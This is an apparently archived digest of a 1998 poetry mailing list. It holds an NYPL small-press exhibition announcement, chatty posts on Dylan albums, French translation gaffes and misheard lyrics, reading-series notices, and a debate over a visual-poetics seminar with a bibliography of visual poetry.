This show surveys the confluence of the New American Poetry with the Small Press Revolution. Over 425 books, pamphlets, magazines, letters, manuscripts, posters, paintings and one videotape documenting the American literary underground of the '60s and '70s. There will be an OPENING RECEPTION and all are welcome. 6:30-8:00 Friday, January 23, 1998, Berg Collection, 3rd floor, New York Public Library, Fifth Ave & 42nd St. (use the 42nd Street entrance). If you plan to attend please call the Office of Special Events at the library [redacted]. The show opens to the general public Jan 24 and runs through July 25.

About 80 presses and magazines are on display, for example: Semina, Black Mountain Review, Origin, Jargon Society, Kulchur, Yugen, Floating Bear, "C", Set, Measure, J, Open Space, Auerhahn, Oyez, White Rabbit, Fuck You: A Magazine of the Arts, Caterpillar, Trobar, Matter, Some/thing, Poems From the Floating World, Hawk's Well, Alcheringa, White Dove Review, Lines, Joglars, 0 to 9, Adventures in Poetry, Angel Hair, United Artists, L=A=N=G=U=A=G=E, This, Tuumba, Hills, Tottel's, City Lights, Vehicle, Evergreen Review, Umbra, Duende, Wild Dog, Maps, Something Else Press, the World, Big Sky, Roof, Big Table, Sun & Moon, La-Bas, Siamese Banana, Mag City, Dodgems and many many others. Larry Fagin's home movies from the late '60s (short film portraits of: Lewis Warsh, Ted Berrigan, Aram Saroyan, Tom Veitch, Gerard Malanga and Michael Brownstein) have been newly transferred to video with a new soundtrack added will be available for viewing.

A BOOK IS IN THE MAKING. Written and compiled by curators Rodney Phillips and Steve Clay with a preface by Jerome Rothenberg and with contributions from many including: Jackson Mac Low, Ed Sanders, Charles Bernstein, Bruce Andrews, James Sherry, Carol Berge, Bill Berkson, Gerrit Lansing, Anne Waldman, Lewis Warsh and Larry Fagin. The book will include descriptions and checklists of the presses and magazines, a catalog of the New American Poetry Collection at the Berg Collection (NYPL), over a hundred black and white photographs, a chronological literary timeline (1950-1980). The book is being co-published by Granary Books and the New York Public Library and will be out around April Fool's Day, 1998. Stay tuned.

For more information etc. contact: Steve Clay, Granary Books, 568 Broadway #403 New York, NY 10012 [redacted]

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273. louis stroffolino
Re: Dead ants are blowin' in the wind
Sat 10 Jan 1998

Hello Robin---it has been a long time. Anyway, yes, I agree-- though I like the new album, I don't see why it's suppossed to be "better" than OH MERCY (or even GOOD AS I BEEN TO YOU or INFIDELS) which to me are just as good.....chris

On Sat, 10 Jan 1998, Robin Morris wrote:

> *Personally, I'm happy if it can rate alongside _Oh Mercy_, a grossly underrated effort IMO. I'm still listening and deciding whether it does. _Time Out of Mind_ definitely has some beautiful songs, but I'm not sure I like the uni-coloredness of it.*
>
> *Robin*
>
> *On the new Dylan CD, yes, it's simply terrific. Certainly seems the best since Nashville Skyline and possibly even Blonde on Blonde.*
>
> *Ron*
>
> * * * * * * * * *
>
> *Robin A. Morris*
>
> [redacted]
>
> *Home page: http://www-unix.oit.umass.edu/~ramorris*

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274. Mark Weiss
translation
Sat 10 Jan 1998

I lived in Paris for a year. When I first moved into my apartment I had some workmen over to install a new electric range. It seemed to me that they were screing up the grounding, and I wanted to say something about it. To give myself some credibility I meant to tell them "je suis un vieux bricoleur," I'm an experienced do-it-yourselfer. What came out, unaccountably, was, "je suis un vieux cambrioleur." I certainly got their attention: I had told them that I was a burglar from way back. Almost a year later I was dating a Canadian woman. We

went to a restaurant that specialized in wild game. It was the sort of place where old beer mugs hang from the ceiling and clients and waiters toss wise-cracks at each other. I ordered the beaver, and I asked the waiter what cut it was. "I don't know," he said, "it's just beaver." "I was hoping," I meant to say, "that it's the tail." My girlfriend turned beet-red, and the waiter got very flustered. "We would never serve that sort of thing here!" "That's a shame. It's a delicacy in Canada," I explained. The waiter allowed as how this was news to him, but reiterated that it wasn't likely to get served in his restaurant. Through a mispronunciation and a gender error I had asked for "le cul," the asshole, instead of "la queue," the tail. The beaver, by the way, was delicious. As to song lyrics, I always thought that Dylan was singing "tastes just like a woman," and I liked it that way. Nuff said.

↑ Index

275. Pierre Joris
Re: translation
Sun 11 Jan 1998

Mark -- your translation problems were even bigger than you thought:

Mark Weiss wrote:

> *.....*
> *"I was hoping," I meant to say, "that it's the tail." My girlfriend turned beet-red, and the waiter got very flustered.*
> *"We would never serve that sort of thing here!"*
> *"That's a shame. It's a delicacy in Canada," I explained.*
> *The waiter allowed as how this was news to him, but reiterated that it wasn't likely to get served in his restaurant.*
> *Through a mispronunciation and a gender error I had asked for "le cul," the asshole, instead of "la queue," the tail.*

"le cul" is not "asshole" but "ass" as in "a piece of ass" -- so it wasn't scatology that made your girl-friend turn beet-red. Of course, had you said "la queue" it wouldn't have been any better, as that means not only "tail" but also "prick."

non sequitur one: note how in French "le cul" is grammatically masculine and "la queue" feminine.

non sequitur two: "le castor," the beaver, was the nickname of Simone de Beauvoir — the reason being her industriousness rather than anything else.

Pierre

--
==========
pierre joris 6 madison place albany ny 12202

tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

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276. Gwyn McVay
because one must
Sun 11 Jan 1998

mindful of CB's rule about mentioning one's own publications:

My second chapbook, /This Natural History/, has just been born at Pecan Grove Press in Texas--a small press devoting almost its entire list to poetry and various poetries--weighing in at 31 pages and two staples, and bearing exaggerated advance praise kindly supplied by Wendy Battin, Mark Wallace, and Anselm Hollo.

Any of you who want to grab one while the grabbing is good can do so by sending $6 plus $1 S&H to Pecan Grove Press, Box AL, 1 Camino Santa Maria, San Antonio, Texas 78228-8608. The ISBN is 1-877603-45-7.

mercy. mercy. mercy.
Gwyn

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277. Miekal And
hypertext hotel
Sun 11 Jan 1998

does anyone have a working url for "the hypertext hotel" at brown univeristy? is it still online?

miekal

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278. William Marsh
Re: translation
Sun 11 Jan 1998

At 10:38 AM 1/11/98 -0400, Pierre wrote:
>

>non sequitur one: note how in French "le cul" is grammatically masculine and >"la queue" feminine.

et aussi "la bite", non? (forgive if misspelled) / for some reason i woke up this morning recalling conversations i had years ago on just this topic (while in Paris) / psychic anticipation of Poetics, i guess

bill marsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

279. Rachel Levitsky
P. Ganick's address
Sun 11 Jan 1998

Hello and Happy New Year

Does anyone know if Peter Ganick is still at [redacted]? I was bounce back? If not, does anyone know of another address?

--Rachel Levitsky

↑ Index

280. henry gould
dylan your
Sun 11 Jan 1998

Bob's new album, well, like most of the his other ones, seems like an uncanny success - why? He's not a very good musician, really; never was very imaginative, musically - he's one of those people whose musical talent doesn't match their general genius - he's a poet manque, so to speak - so the performance is always sort of a charlie chaplin affair - for Dylan performing must have always seemed like "rock-climbing" (no pun intended) for somebody suffering from vertigo. Springsteen something similar except he is a slightly different equation : lesser poetic talent + greater showmanship = grandiosity - but still it begins

with poetry... & dribbles out into success. .. Dylan always adds that element of self-parody which makes it all work... because he came from beyond Duluth with more hunger & ambition & earliness than even Springsteen New Jersey... but for sheer musical creative energy I'll take a good Cream jam ("I'm So Glad") over ANYTHING produced in the last 30 yrs hence...where's Jack Bruce now? - Henry Gould, member of (in chronological order): Spur of the Moment (late 60s) Lucifer (later 60s) various London bands (mid 70s) Phyllis & the Phantoms (late 80s) & so on... & who could forget the Stones? they would have been very wealthy farmers if they weren't good rockers.

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281. **Mark Weiss**

Re: translation

Sun 11 Jan 1998

Beavers are a minefield of innuendo. When I was a kid we used to play a car game the rules of which were that you had to shout out "beaver!" if we passed a car with a bearded driver or passenger. This was designed to keep the kids occupied on long trips. Of course, there were so few bearded people back then that my father's other little game worked a lot better, which was to call out "teachers!" whenever we saw two women alone in a car. The implication was supposed to be that the women, like all teachers, were lesbians--my father never really accepted my mother's profession. When I was older the significance of "beaver" migrated south, and it become a matter of considerable speculation how any woman could admit without embarrassment to being a graduate of Beaver College, which was all-female at the time. All of this depends on context. I have ordered "queue de boeuf" in restaurants without any giggles, and of course when one is directed to stand in "la queue" while waiting for a film no one leers or pokes his friend in the ribs. I did see "penis de boeuf" offered on a chinese menu in Paris, but that's an entirely different story. I once heard a panelist on a French news show refer to a right-wing opponent as "le penis," playing on the name of the politician Le Pen; this provoked universal merriment. But often a cigar is just a cigar.

At 10:38 AM 1/11/98 -0400, you wrote:
>Mark -- your translation problems were even bigger than you thought:
>
>Mark Weiss wrote:
>
>> .....
>> "I was hoping," I meant to say, "that it's the tail." My girlfriend turned
>> beet-red, and the waiter got very flustered.
>> "We would never serve that sort of thing here!"

>> "That's a shame. It's a delicacy in Canada," I explained.
>> The waiter allowed as how this was news to him, but reiterated that it
>> wasn't likely to get served in his restaurant.
>> Through a mispronunciation and a gender error I had asked for "le cul," the
>> asshole, instead of "la queue," the tail.
>>
>
>"le cul" is not "asshole" but "ass" as in "a piece of ass" -- so it wasn't
>scatology that made your girl-friend turn beet-red. Of course, had you said
>"la queue" it wouldn't have been any better, as that means not only "tail"
but
>also "prick."
>
>non sequitur one: note how in French "le cul" is grammatically masculine and
>"la queue" feminine.
>
>non sequitur two: "le castor," the beaver, was the nickname of Simone de
>Beauvoir — the reason being her industriousness rather than anything else.
>
>Pierre
>
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>"What often prevents us from giving ourselves over to
>a single vice is that we have several of them."
> — La Rochefoucauld
>==========
>
>

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282. **George Bowering**

Re: translation

Mon 12 Jan 1998

> *At 10:38 AM 1/11/98 -0400, Pierre wrote:*
>
> *non sequitur one: note how in French "le cul" is grammatically masculine and "la queue" feminine.*

Well, of course, the one that the Quebecoise poets have often noted is "le vagine."!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

283. Craig Douglas Dworkin
Bay Area Readings/Visual Poetics
Mon 12 Jan 1998

Dear Listservers:

For those nearby, Charles Bernstein will be reading/performing/enacting "Un-representative Verse" this Tuesday, 13 January, from 6-8pm at the Stanford Bookstore, in the center of the Stanford Campus ([redacted] for directions and parking). This is the first reading in a series organized in conjunction with Marjorie Perloff's graduate seminar in visual poetics; to give you a chance to mark your calendars - or for those travelling West in the next few months - please note that subsequent readings will all be held at the Stanford Bookstore, Wednesdays at Noon:

21 January: Susan Howe
28 January: Kathleen Fraser
11 February: Tom Raworth and Kenneth Goldsmith
25 February: Cole Swensen and Diane Ward
4 March: Joan Retallack
11 March: Johanna Drucker

Hoping to see you there,
Craig Douglas Dworkin

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284. Rachel Loden
Re: And Lady Mondegreen
Mon 12 Jan 1998

B. Taylor wrote:

> *And lifelong Communist Party member Jessica Mitford heard "fine old conflict" for "final conflict" in the lyrics of the Internationale.*

Just for the record, Jessica Mitford resigned from the CP in 1958 and lived almost another forty years.

But in the spirit of this thread, she once wrote to her mother, Lady Redesdale (who was interested in social chatter), that she had enjoyed having tea with Lady Bird Johnson. Her mother wrote back, "I have checked Debrett's and can find no mention of this Lady Bird-Johnson."

Rachel Loden

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285. Elizabeth Hatmaker
Re: And Lady Mondegreen
Mon 12 Jan 1998

In the song "Lay Down" by Melanie Sofka (sp?)-- the lines: it was so cold, there was no room, we bled in side each other's wounds.

A friend and I always heard "we bled inside each other's wombs"-- and were distaught to learn we'd been wrong.

E. Hatmaker

↑ Index

286. Mark Prejsnar
Re: Stipe--What's the Frequency?
Mon 12 Jan 1998

I'm the only person I know who *knew this* when the REM album came out....I actually pay less attention to that dubious substance the mainstream media calls "the news" than lots and lots of other folks, most of the time...But for some reason I read a newspaper account of the Dan Rather attack (a couple, I think) at the time it happened. (If for a moment we credit its happening.) The accounts I saw were more lurid than what Rachel quotes: the two men supposedly knocked him down and *kicked* him a few times as he was on the ground, accompanying each kick with a shout of "What's the frequency, Kenneth?" Rather said the men were totally unknown to him. One of my all-time favorite instant urban myths (legends?)

Mark P.
atlanta

On Sat, 10 Jan 1998, Rachel Loden wrote:

> *Karen and Trevor wrote:*
>
> *So anyone heard about the origin for "what's the frequency Kenneth?"*

> *From the R.E.M. lyric annotations FAQ:*
>
> *http://www.brainlink.com/~cafard/remlafaq.txt*
>
> *"The title of the song . . . refers indirectly to the incident in Oct. 1986 in which Dan Rather . . . was attacked by two unknown men in the street in New York City wearing suits and sunglasses. The men kept asking Rather "What is the frequency?" and called him "Kenneth" while they shoved and accosted him; to date the incident has never been explained completely . . ."*
>
> *I offer my own incomplete explanation in "Clueless in Paradise" (published a few years before the R.E.M. song). Am guessing there might be enough "what is the frequency" poems for a good-sized anthology by now.*
>
> *Rachel L.*

↑ Index

287. **Lawrence Upton.**
Melanie
Mon 12 Jan 1998

|In the song "Lay Down" by Melanie Sofka (sp?)-- the lines: it was so cold, |there was no room, we bled in side each other's wounds.

Safka

I think it was _we were so close, there was no room_

and I like and shall steal _distaught_ if I may - _and were distaught to learn_

I have been distaught most of my life

DB

L

↑ Index

288. **Susan Wheeler**
Mondegreen - Digests 1/9 --
Mon 12 Jan 1998

By the time I learned R. Kelly's line "Summer bun it drive me crazy" was actually "Summer bunnies drive me crazy" I'd sampled it in print, so now the poem ("The Dogwood and the The") trails an apologetic note.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

289. **louis stroffolino**
Re: And Lady Mondegreen
Mon 12 Jan 1998

well you know we couldn't stay dry against the rain.....

On Mon, 12 Jan 1998, Elizabeth Hatmaker wrote:

> *In the song "Lay Down" by Melanie Sofka (sp?)-- the lines: it was so cold, there was no room, we bled in side each other's wounds.*
>
> *A friend and I always heard "we bled inside each other's wombs"-- and were distaught to learn we'd been wrong.*
>
> *E. Hatmaker*

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290. **louis stroffolino**
Re: your move
Mon 12 Jan 1998

Well--maybe only a brit can answer this question, but what ever happened to roy wood...i had a dream that i met him at a party last night and that i was going to interview him. he was so huge in england 67-73 with the move, wizard and as solo artist, but in america may be known only as the man who discovered jeff lynn or who wrote that song cheap trick covered.....chris

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291. **Christopher W. Alexander**
Re: Stipe--What's the Frequency?
Mon 12 Jan 1998

last year, WIRED - yes, it's not the most reliable
news source, and no, I'm not one of those young
corporate types - did a follow-up on the attack
that named the chief suspect. sorry I can't be more
specific in my reference - last yr's editions are @
the bindery right now. I didna know abt. the REM

thing, and toyed with using WTF, K? as a title -
but then never did.

Chris

> *I'm the only person I know who *knew this* when the REM album came out....I actually pay less attention to that dubious substance the mainstream media calls "the news" than lots and lots of other folks, most of the time...But for some reason I read a newspaper account of the Dan Rather attack (a couple, I think) at the time it happened. (If for a moment we credit its happening.) The accounts I saw were more lurid than what Rachel quotes: the two men supposedly knocked him down and *kicked* him a few times as he was on the ground, accompanying each kick with a shout of "What's the frequency, Kenneth?" Rather said the men were totally unknown to him. One of my all-time favorite instant urban myths (legends?)*
>
> *Mark P.*
> *atlanta*

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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292. David Kellogg
Mondegreens
Mon 12 Jan 1998

A fabulous web site for rock music mondegreens is http://www.kissthisguy.com/, "The Archive of Misheard Lyrics." My current favorite from this site is from Springsteen's Blinded by the Light:

Little early birdy
Gave my anus curly wurly
And asked me if I needed a ride

~~~
~~~

293. Miekal And
Whose Visual Poetics?
Mon 12 Jan 1998

Bob Grumman wrote:
>
> As a long-time participant in and follower of the American visual poetry
> scene, I have to say that I'm disappointed that Marjorie Perloff, who
> has the cultural weight to do a good deal for such under-appreciated
> visual poets as

I hafta chime in that Ive been bummed all day after reading about Marjorie Ps visual poetry seminar & not recognizing any of the names as poets whose work has a basis in visual poetry other than Johanna Drucker. & especially the absence of all the folks whove been digging the trenches & foxholes in the visual/verbal front. It seems more like a series on the l+a+n+g+u+a+g+e crowd who also happen to have created at least one visual work.

miekal

dont worry about me, I'll get over it

_____
Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

email for DT & And/Was: [redacted]

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294. David Benedetti
Re: Lady Mondegreen
Mon 12 Jan 1998

over and over hearing "Guantanamero"

as "Juanita, once on a meadow"
or "Juanita, one ton of metal"

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295. **Tom Mandel**
the new Dylan album
Mon 12 Jan 1998

I'm glad some of you are responding positively to Time Out of Mind (as usual, I can't remember who in all said what all); it's interesting to discuss.

I think it's the best since Desire, but certainly *not* as Ron said since Nashville Skyline. Dylan's great, greatest, most greatesterest (i.e. my favorite) album, Blood on the Tracks, from 1970 is subsequent to NS.

On the new album, my favorite cut is "40 mi out of town in heavy chains bound" or something like that (I'm nowhere near the CD - hundreds of miles away - so can't check the title I don't exactly recall). But, very worth mentioning -- in the context of Desire, which I brought up for exactly this reason -- is My Heart's in the Highlands, a dark dark number whose music is an exact copy of "Meet me in the morning" from Desire (or is that on Blood on the Tracks? -- hell, this internet stuff ain't what it's cracked up to be. I can't reach my memory any better however ubiquitously present something or other, oh yeah you, is [are?]).

Emmylou Harris's backing vocals on Desire are totally great, but my favorite cut on that disc is "Sarah" written for his long-time (but by then x) wife. I listened to that song, having been reminded of it by the estimable Doug Lang, last year for about a week straight and typed the lyrics onto my screen. Just a personal thing.

A great song from Dylan's supposedly dog days (the Xtian period in this case) is "Every Grain of Sand" -- on I think A Shot of Love. I also recommend Emmylou Harris's version of that song on her recent disc Wrecking Ball (and also on that album her version of Neil Young's song of that title). A couple of years ago, over a period of days of driving around DC via the beltway from meeting to meeting, I kept her version of the Dylan song on repeat on my car's CD player. I must have listened to it 40 times each day. It is my favorite version of a "spiritual" (which is what I think you have to call that song) by a "pop" artist after Marvin Gaye's rendition of "His Eye is on the Sparrow."

It's afternoon, I'm in a motel in Myrtle Beach (believe it or not... Hank will know what I'm doing here for a few days), somewhat sunned out and a beer or so in expectation of an evening meal among gov't. retirees I don't know. Makes a nice change to think of Bob Dylan, whom by the way I met briefly in mutual drunkenness at the University of Chicago folk festival in 1961 I think when he was on his way from Minnesota to NY to seek his fortune. Seemed a nice enough guy who almost fell from the balcony but someone caught his arm. That'd make an even more different world.

Sorry to go on...

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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296. **groberts**
Re: Lady Mondegreen
Mon 12 Jan 1998

Well, this one is not exactly a misheard lyric and won't cause smirks and laughter, but is maybe worth sharing anyway.

A prof reading a term paper on Yeats comes across the phrase "fantasy echo" thoughout, and is curious as to what the undergraduate means by it and where it comes from. The two meet to talk, the prof poses his questions, and the student replies, "But you used it yourself all semester in your lectures about the fantasy echo." At which point the prof realizes that the phrase has replaced "fin de siecle." I like the way the replacement has named itself.

Gary R.

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297. **Mark Weiss**
Re: Lady Mondegreen
Mon 12 Jan 1998

Tom Miller, after months in Cuba researching his book "Trading with the Enemy," began defending himself against the ubiquitous tune by changing the lyrics to "one ton of mierda."

At 01:20 PM 1/12/98 -0700, you wrote:
>over and over hearing "Guantanamero"
>
>as "Juanita, once on a meadow"
>or "Juanita, one ton of metal"
>
>

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298. **Bob Grumman**
Re: Bay Area Readings/Visual Poetics
Mon 12 Jan 1998

As a long-time participant in and follower of the American visual poetry scene, I have to say that I'm disappointed that Marjorie Perloff, who has the cultural weight to do a good deal for such under-appreciated visual poets as Karl Kempton, Karl Young, Crag Hill, Miekal And, Liz Was, Jonathan Brannen, G. Huth, Trudy Mercer, John Byrum, Richard Kostelanetz, Dick Higgins, Bill DiMichele, Gregory St. Thomasino, Marilyn Rosenberg, Michael Basinski, Jake Berry, Scott Helmes, Harry Polinhorn (and on and on, to speak only of those contemporary American visual poets whose names are on the tip of my tongue), chooses instead to kick off her graduate seminar in visual poetics with a reading by Charles Bernstein, who is a late-coming dabbler in the field, and needs no career boosts.

--Bob G.

↑ Index

299. **Hugh Steinberg**
Re: Whose Visual Poetics?
Mon 12 Jan 1998

Bill Marsh writes:

> *bob and miekal*
>
> *with subject raised, and disappointments registered (justified, by all means), maybe now would be a good time to ask either or both of you to post, if you could, some good references for history and current practice in vis-po / survey works, perhaps, to give people like me who are relatively new to it (as student, as practitioner) a good overview / paper and online / etc.*

I'd like to second that request.

I'm sitting in on Perloff's seminar on visual poetics, and any suggestions, directions, discussions would be most welcome.

Hugh Steinberg

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300. **William Marsh**
Re: Whose Visual Poetics?
Mon 12 Jan 1998

bob and miekal

with subject raised, and disappointments registered (justified, by all means), maybe now would be a good time to ask either or both of you to post, if you could, some good references for history and current practice in vis-po / survey works, perhaps, to give people like me who are relatively new to it (as student, as practitioner) a good overview / paper and online / etc.

thanks
bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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301. George Thompson
Re: Lady Mondegreen
Mon 12 Jan 1998

Well, since everyone else is confessing their mis-hearings, I suppose I could confess mine, my most egregious one.

Somehow, when I landed on this earth, with a loud thud a long time ago, I landed reason unknown among Roman Catholics, and I wound up for a while as a child among these Roman Catholics in Irish Boston, in churches where Latin was still the language of the liturgy.

I remember, I think, standing there among the stale damp pews and the candle lights and the nuns all in their black and white and smoky incest [sic], listening to the priests and the angelic choir boys, black and white.

What were they all saying? I wondered. And why?

Well, for the most part it all slips by me now, in my present irreligious stupor, but I do remember the closing prayers. And it goes like this:

> Eight come spirit two two O...
> Eat the missa est.

Well, I now know what the Latin was [et cum spiritu tuo... ite missa est...], but I probably will *never* know what they really meant as they sang that song,

But it seems to me that this very religious experience [sic] turned me surely into one who has, ever since, felt a great and permanent urge to seek out and to know, for sure, what exactly the frequency was, Kenneth, and also the code....

You never know...

GT

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302. **Robin Morris**
Re: Lady Mondegreen
Mon 12 Jan 1998

Oh dear, don't tell me this is an urban legend. In the recent issue of Profession (MLA pub) Sandra Gilbert claims that her late husband Elliot Gilbert received a paper from a student who kept referring to the Fantasy Eclair where Wilde and all his cronies lived. This seemed just like the kind of thing that would occur to Elliot Gilbert (I had known him at UC DAvis). I suppose it is actually possible they both happened. I prefer the Fantasy Eclair myself.

Robin

At 05:22 PM 1/12/98 -0500, you wrote:
>Well, this one is not exactly a misheard lyric and won't cause smirks and
>laughter, but is maybe worth sharing anyway.
>
>A prof reading a term paper on Yeats comes across the phrase "fantasy echo"
>thoughout, and is curious as to what the undergraduate means by it and
where
>it comes from. The two meet to talk, the prof poses his questions, and
>the student replies, "But you used it yourself all semester in your lectures
>about the fantasy echo." At which point the prof realizes that the phrase
>has replaced "fin de siecle." I like the way the replacement has named itself.
>
>Gary R.
>
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

303. Carrie Etter
Barbara Guest's "Winter Horses"
Tue 13 Jan 1998

Can anyone tell me where Barbara Guest's poem "Winter Horses," collected in _Defensive Rapture_, was originally published?

Thanks,

Carrie Etter

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304. Tenney Nathanson
Re: Lady Mondegreen
Tue 13 Jan 1998

I heard this one a decade or so ago as a true story about Allen Grossman at Brandeis, and in the version I heard a whole lotta people in the class made the same error, compounding A.G.'s accent and their ineptitude. who knows?

At 05:22 PM 1/12/98 -0500, you wrote:
>Well, this one is not exactly a misheard lyric and won't cause smirks and
>laughter, but is maybe worth sharing anyway.
>
>A prof reading a term paper on Yeats comes across the phrase "fantasy echo"
>thoughout, and is curious as to what the undergraduate means by it and where
>it comes from. The two meet to talk, the prof poses his questions, and
>the student replies, "But you used it yourself all semester in your lectures
>about the fantasy echo." At which point the prof realizes that the phrase
>has replaced "fin de siecle." I like the way the replacement has named itself.
>
>Gary R.
>

↑ Index

305. david bromige
tom mandel cheering section
Tue 13 Jan 1998

I think Tom Mandel should be _encouraged_ to go ongoing on We dont hear nearly enough of him. And I want "Hank," whoever he is, to post in and tell us just what Tom _is_ up to there at Myrtle Beach....I mean, why cant we _all_ know?

Tom's post is full of info I dont have the referents for--I dont know any of these dylan albums he mentions. _Was_ there something after _Highway 61__ ? My Mondegreen is from (I think) "Desolation Row," "Yes I got yr letter yesterday/ About the time the Donner broke." Years later, via sheet music, I saw it was "doorknob." But in No Calif, Donner is always on your mind. And, on the Mondegreen track still, at a party the other night at Kathy Fraser's,I discovered from Kush that my wife hadnt been the only person who thought that one line from "Groovin" [quick! what group?] was "Life could be ecstasy, /You and me and Leslie." Turns out it was probably "endlessly."

↑ Index

306. **David Gitin**

Re: tom mandel cheering section

Tue 13 Jan 1998

David Bromige, you should know the Rascals for "Groovin" as well as Dylan's "Blood on the Tracks," and yes it is good to get Tom back on-line. Inquiring minds....

↑ Index

307. **George Bowering**

Re: Lady Mondegreen

Tue 13 Jan 1998

> *over and over hearing "Guantanamero"*
>
> *as "Juanita, once on a meadow"*
> *or "Juanita, one ton of metal"*

I always used to belt out:

"One ton of marrow,

I've eaten one ton of marrow."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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308. **dbkk**
Under the Influence
Tue 13 Jan 1998

Hello everyone, it's Kevin Killian. Hope some of you are in the Bay Area and free on Wednesday. There's a new monthly series at the "Different Light" bookstore on Castro Street, called "Under the Influence," curated by Rabih Alameddine, who has asked different writers to talk about writers who have influenced their own work. I think Bob Gluck will speak about Kathy Acker, and Etel Adnan on Marguerite Yourcenar, in months to come, but more to the point this Wednesday, Jan 14, I, I, Kevin, will kick off the series by speaking on Sir Terence Rattigan. Norma Cole, Rex Ray, Wayne Smith and I will be acting out scenes from Rattigan's 1950 drama "The Deep Blue Sea." You don't want to miss me essaying "Hester Collyer," the tragic heroine first made famous by Vivien Leigh, do you (7:30 p.m.)?

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309. **Stephen Cope**
NEW WRITING SERIES
Tue 13 Jan 1998

An announcement for those in the area...

***

NEW WRITING SERIES @ UCSD

WINTER 1998

HIROMI ITO - January, 28

A major writer of the new Japanese generation, Ito has brought non-classical themes and modes of expression into contemporary Japanese poetry. Her practice of performance goes back to sources of poetry in ancient shamanic chant.

CHARLES ALEXANDER - February 4

The founder and director of Chax Press, Charles Alexander has published two books of poetry, and has two more due out in 1998. Of his poetry, Ron Silliman writes "Alexander pushes the envelope of what is possible in writing even further, to the ends of the universe. And beyond. . . "

CAROL MOLDAW - February 11

Carol Moldaw's work has appeared in numerous journals and anthologies, and she received a National Endowment for the Arts Literary Fellowship in 1994. Her first book of poems - Taken from the River - was published by Alef Books in 1993.

HARRY POLKINHORN - February 18

Harry Polkinhorn is the author and/or editor of over thirty books of poetry and art. His current work focuses on the culture of the U.S.- Mexico border region, from which a publication entitledThe Border of Things: Towards an Archaeology of Edges is currently emerging. He is the director of San Diego State Press.

CHARLES BERNSTEIN - February 25

Charles Bernstein has published twenty books of poetry, two books of essays, four librettos, and he was a founding editor, with Bruce Andrews, of the influential journal L=A=N=G=U=A=G=E. His awards include a Guggenheim Fellowship and the National Endowment for the Arts Creative Writing Fellowship.

SHIRLEY ANNE WILLIAMS - March 4

A writer of both poetry and prose, Sherley Anne Williams's publications include Dessa Rose, The Peacock Poems, and Some One Sweet Angel Chile. She teaches literature and writing and UCSD.

All events take place at 4:30PM at the Visual Arts Performance Space, UCSD, and are free and open to the public.

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310. **Bob Grumman**

Re: Whose Visual Poetics?

Tue 13 Jan 1998

Hokay, in response to Bill Marsh's request for "some good references for history and current practice in vis-po / survey works, perhaps, to give people like (he) who are relatively new to it (as student, as practitioner) a good overview / paper and online / etc. As I previously wrote when Marjorie Perloff asked what might be of use to her in running her seminar, a good book to start with as a rough overview of what's going on in the field and, especially, who's involved in it (it even includes Charles Bernstein) is CORE, A Symposium on Contemporary Visual Poetry, edited by John Byrum and Crag Hill, 1993, a joint publication of Generator Press and Score Publications. It has the following useful bibliography of vispo anthologies.

BORY, JEAN-FRANCOIS, Once Again, New Directions, 1968.
BOWLES, JERRY G. & RUSSELL, TONY, editors, This Book is a Movie: An Exhibition of Language Art & Visual Poetry, Dell Publishing Co., 1971.
CURTAY, JEAN-PAUL, Lettrism and Hypergraphics, The Unknown Avant-Garde 1945-1985, Franklin Furnace, 1985.
DORIA, CHARLES, editor, Russian Samizdat Art, Willis Locker & Owens Publishing, 1986.

GRUMMAN, BOB, Of Manywhere-at-Once, Runaway Spoon Press, 1990.
HIGGINS, DICK, George Herbert's Pattern Poems: In Their Tradition, Unpublished Editions, 1977.
HIGG1NS, DICK, Pattern Poems: Guide to an Unknown Literature, State University of New York Press, 1987.
JANECEK, GERALD, editor, The Look of Russian Literature: A vant-Garde Visual Experiments 1900-1930, Princeton University Press, 1984.
KOSTELANETZ, RICHARD, editor, Text-Sound Texts, William Morrow & Co., 1980.
KOSTELANETZ, RICHARD, editor, Visual Literature Criticism: A New Collection, West Coast Poetry Review, 1979.
MCCAFFERY, STEVE & NICHOL, BP, editors, Sound Poetry: A Catalogue, Under
Which Editions, 1978.
SACKNER, MARVIN, editor, The Beauty in Breathing, Ruth & Marvin Sackner Archive, 1992.
SOLT, MARY ELLEN, editor, Concrete Poetry: A World View, Indiana University Press, 1968.
WILDMAN, EUGENE, editor, Anthology of Concretism, The Swallow Press, 1969.
WILLIAMS, EMMETT, editor, Anthology of Concrete Poetry, Something Else Press, 1967.

My own book (awaiting my getting enough money to self-publish a third edition--to update my psychofluxotical terminology) is more a discussion of poetry in general than an anthology of vispo but DOES contain a pretty good small sampling of the field.

Then there's CONCERNING CONCRETE POETRY, compiled by Bob Cobbing and Peter Mayer, from 1978, and now a classic.

Crag Hill and Spencer Selby's SCORE and Karl Kempton's magazine, KALDRON, the latter now online at

http://www.thing.net/~grist/l&d/lighthom.htm

have to my mind the best continuing coverage of visual poetry, but others, including Harry Burris's O!!ZONE, are doing good work. The l&d site whose URL I've just given has much else in the way of visual poetry and other kinds of otherstream and knownstream poetry. And it lists all kinds of links to other sites, as well as pertinent books and magazines.

